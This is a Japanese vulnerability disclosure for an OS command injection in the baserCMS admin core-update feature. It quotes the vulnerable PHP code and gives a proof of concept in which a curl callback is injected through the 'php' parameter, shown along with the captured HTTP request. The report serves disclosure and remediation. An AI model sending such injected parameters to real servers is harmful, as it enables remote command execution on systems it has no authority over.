

OSコマンドインジェクション (baserCMSのアップデート機能)

脆弱性概要

説明

最新バージョン (baserCMS-5.2.2) の baserCMSのアップデート機能にOSコマンドインジェクション (CWE-78) の脆弱性が存在することを確認しました。これにより、baserCMSの管理者として認証済のユーザが、サーバ上でbaserCMSを実行しているユーザとしてサーバ内でOSコマンドを実行できます。

OSコマンドインジェクション (CWE-78) <https://jvndb.jvn.jp/ja/cwe/CWE-78.html>

CVSS スコア (仮値)

ベーススコア : 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

脆弱性の詳細

baser-core/src/Service/PluginsService.php 内の getCoreUpdate 関数の849行目において、`$command` 変数の内容が `exec` 関数によりOSのコマンドとして実行されます。また、844行では、`getCoreUpdate` 関数の引数として渡される `$php` 変数と `$targetVersion` 変数を使用して `$command` 変数の中身が構築されます。なお、この関数内では引数の値の検証は行われませ

ん。

```
PluginsService.php 9+ | PluginsController.php 9+ | update_download_core.php 9+
plugins > baser-core > src > Service > PluginsService.php > PluginsService
49 class PluginsService implements PluginsServiceInterface
808 /**
809  * コアの最新版を取得する
810  * tmp/update に最新版をダウンロードする
811  * @param string $targetVersion
812  * @param string $php
813  * @return void
814  * @checked
815  * @noTodo
816  * @unitTest
817  */
1 reference | 0 overrides
818 public function getCoreUpdate(string $targetVersion, string $php, ?bool $force = false): void
819 {
820     if(!preg_match(pattern: '/[0-9]+\.[0-9x*]+\.[0-9x*]+/', subject: $targetVersion)) {
821         throw new BcException(__d('baser_core', 'バージョン番号が不正です。'));
822     }
823
824     if (function_exists('ini_set')) {
825         ini_set(option: 'max_execution_time', value: 0);
826         ini_set(option: 'memory_limit', value: '512M');
827     }
828     if (file_exists(filename: LOGS . 'update.log')) {
829         unlink(filename: LOGS . 'update.log');
830     }
831
832     if (is_dir(filename: TMP . 'update')) {
833         (new BcFolder(path: TMP . 'update'))->delete();
834     }
835     mkdir(directory: TMP . 'update', permissions: 0777);
836     if (!is_dir(filename: TMP . 'update' . DS . 'vendor')) {
837         $folder = new BcFolder(path: ROOT . DS . 'vendor');
838         $folder->copy(dest: TMP . 'update' . DS . 'vendor');
839     }
840     copy(from: ROOT . DS . 'composer.json', to: TMP . 'update' . DS . 'composer.json');
841     copy(from: ROOT . DS . 'composer.lock', to: TMP . 'update' . DS . 'composer.lock');
842
843     // Composer 実行
844     $command = $php . ' ' . ROOT . DS . 'bin' . DS . 'cake.php composer ' . $targetVersion . ' --php ' . $php . ' --dir ' . TMP . 'update';
845     if ($force) {
846         $command .= ' --force true';
847     }
848
849     exec(command: $command, output: &$sout, result_code: &$scode);
850     if ($scode !== 0) throw new BcException(__d('baser_core', '最新版のダウンロードに失敗しました。ログを確認してください。'));
851
852     Cache::write('coreDownloaded', true, '_bc_update_');
853 }
854
```

次に、getCoreUpdate 関数の呼び出し元である baser-core/src/Controller/Admin/PluginsController.php の get_core_update 関数において、

リクエストパラメータのうち targetVersion および php が検証なしで直接渡されています。

```
PluginsService.php 9+ | PluginsController.php 9+ |
plugins > baser-core > src > Controller > Admin > PluginsController.php > PluginsController
33 class PluginsController extends BcAdminController
175 /**
176  * コアアップデートを取得する
177  * @param PluginsAdminServiceInterface $service
178  * @return Response|null
179  * @checked
180  * @noTodo
181  * @unitTest
182  */
183 public function get_core_update(PluginsAdminServiceInterface $service): mixed
184 {
185     if (!$this->request->is(['put', 'post'])) {
186         $this->BcMessage->setError(message: __d('baser_core', '無効な処理です。'));
187         return $this->redirect(['action' => 'update']);
188     }
189     $request = $this->getRequest();
190     try {
191         $service->getCoreUpdate(
192             $request->getData('targetVersion')?? '',
193             $request->getData('php')?? 'php',
194             $request->getData('force'),
195         );
196         $this->BcMessage->setSuccess(message: __d('baser_core', '最新版のダウンロードが完了しました。アップデートを実行してください。'));
197     } catch (\Throwable $e) {
198         $this->BcMessage->setError(message: $e->getMessage());
199     }
200     return $this->redirect(['action' => 'update']);
201 }
```

以上のことから、targetVersion もしくは php に細工をしたパラメータを送ることにより、任意のOSコマンドが可能です。

脆弱性の再現手順

検証環境は以下の通りです。

- Kali Linux (6.17.10+kali-amd64)
- Burp Suite (ローカルプロキシツール)
- baser CMS バージョン5.2.1 ([ローカル環境を構築して利用する](#)の手順通りコンテナ作成した後に、インストールまで実行)

画面上から本脆弱性の再現を行うためには「更新」ボタンを表示させる必要があるため、一つ前のバージョンであるバージョン5.2.1を使用して脆弱性の検証を行いました。なお、ソースコードについてはファイルのsha256ハッシュを比較し、最新バージョンと同一であることを確認済みです。

脆弱性の再現手順は以下の通りです。

管理者としてログインした後、「更新」ボタンを押下します。

アップデートマニュアル インストールモード

ダッシュボード
コンテンツ管理
アップロード管理
NEWS
お問い合わせ
設定へ
システム基本設定
ユーザー管理
サイト管理
テーマ管理
プラグイン管理
プラグイン
ブログタグ設定
メール基本設定
アップローダー基本設定
ユーティリティ
更新 1

baserCMSコア | アップデート

現在のバージョン状況

- BaserCore の利用可能なバージョン : 5.2.2
- BaserCore の現在のプログラムのバージョン : 5.2.1
- BaserCore の現在のデータベースのバージョン : 5.2.1

最新版をダウンロード

アップデートを実行する前に、最新版をダウンロードしてください。

ダウンロード対象バージョン

PHP CLI の実行パス

[← 一覧に戻る](#) [ダウンロード](#)

baserMarket
baserユーザーのための
ショッピングサイト
クリエイターが作った

PHP CLI の実行パス 欄に `curl http://172.17.0.1:8888/hacked;` と入力し、「ダウンロード」をクリックします。

最新版をダウンロード

アップデートを実行する前に、最新版をダウンロードしてください。

ダウンロード対象バージョン

PHP CLI の実行パス

[← 一覧に戻る](#)

[ダウンロード](#)

最新版のダウンロードに失敗しました。ログを確認してください。というエラーメッセージが表示さ

れます。

baserCMSコア | アップデート

❗ 最新版のダウンロードに失敗しました。ログを確認してください。

現在のバージョン状況

- BaserCore の利用可能なバージョン : 5.2.2
- BaserCore の現在のプログラムのバージョン : 5.2.1
- BaserCore の現在のデータベースのバージョン : 5.2.1

最新版をダウンロード

アップデートを実行する前に、最新版をダウンロードしてください。

ダウンロード対象バージョン

PHP CLI の実行パス

[← 一覧に戻る](#)

[ダウンロード](#)

リクエストの内容を確認すると、`php=curl+http%3A%2F%2F172.17.0.1%3A8888%2Fhacked%` が渡されていることが確認できます。

No.	URL	Method	Path	Status	Size	Content-Type	Response
1123	https://localhost	POST	/baser/admin/baser-core/plugins/get_core_update	✓	302	456	HTML
1124	https://localhost	GET	/baser/admin/baser-core/plugins/update		200	30813	HTML
1156	https://localhost	GET	/baser/api/admin/baser-core/plugins/get_available_core...		200	446	JSON

Request

Pretty Raw Hex

```
1 POST /baser/admin/baser-core/plugins/get_core_update HTTP/1.1
2 Host: localhost
3 Cookie: LoginStoreKey =b2586869bbf5281b214261776a24f2c37975f1841b175895d184cfeba3ce4faealdcl0b489521ebd7f666912172872f9ea; csrfToken=L8OHklyb2Qd8m3ApCbrWYANTY9NTVHMCImJcyz2NHq0Y2QwOUHWHHHE0MGVj2m1IN2Y83D; BASERCMS =1ec6e7dda11666fee25c19dfe55eb32e
4 Content-Length: 438
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Linux"
9 Accept-Language: ja
10 Origin: https://localhost
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Best: document
19 Referer: https://localhost/baser/admin/baser-core/plugins/update
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22 Connection: keep-alive
23
24 _csrfToken =
4ZvcQ2BtvK2FEeBazcqFrjva6KRQaIBao54YhqRhPoc3Tc089rkRiXtomg1EEK2FEDVX2Fvve8hItUg1PPOXOTNe12TJhyZkWeYUkHTGxK11Prg3ux15eKGzTCK2
BBGba7a1Q42TBR0iLPw2FPUuNikJA1xj1QK30R3D &update=1&currentVersion=5.2.1&targetVersion=5.2.2&targetVersion=5.2.2.&php=
curl+http%3A%2F%2F172.17.0.1%3A8888%2Fhacked%3B%20&_Token%5Bfields%5D =
e34300cb29dd317b69a2ec98c528b114e8e2bfa253AcurrentVersion%257Cupdate &_Token%5Bunlocked%5D =MAX_FILE_SIZE%257C%257Ccy
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Date: Sun, 22 Feb 2026 10:55:27 GMT
3 Server: Apache/2.4.53 (Debian)
4 Expires: Mon, 26 Jul 1997 05:00:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
6 Pragma: no-cache
7 Last-Modified: Sun, 22 Feb 2026 10:55:27 GMT
8 Location: https://localhost/baser/admin/baser-core/plugins/update
9 Content-Length: 0
10 Keep-Alive: timeout=5, max=100
11 Connection: Keep-Alive
12 Content-Type: text/html; charset=UTF-8
13
14
```

ローカル環境に立てたWebサーバのアクセスログ上に、baser CMS が実行中のコンテナからの接続が記録されていることから、サーバ上で curl コマンドが実行されたことが確認できます。

OSコマンドを実行しない方法に機能を変更してください。

上記対処が難しい場合は引数を構成する全ての変数に対してチェックを行い、あらかじめ許可した処理のみを実行するようにしてください。

安全なウェブサイトの作り方 - 1.2 OSコマンド・インジェクション：

<https://www.ipa.go.jp/security/vuln/websecurity/os-command.html>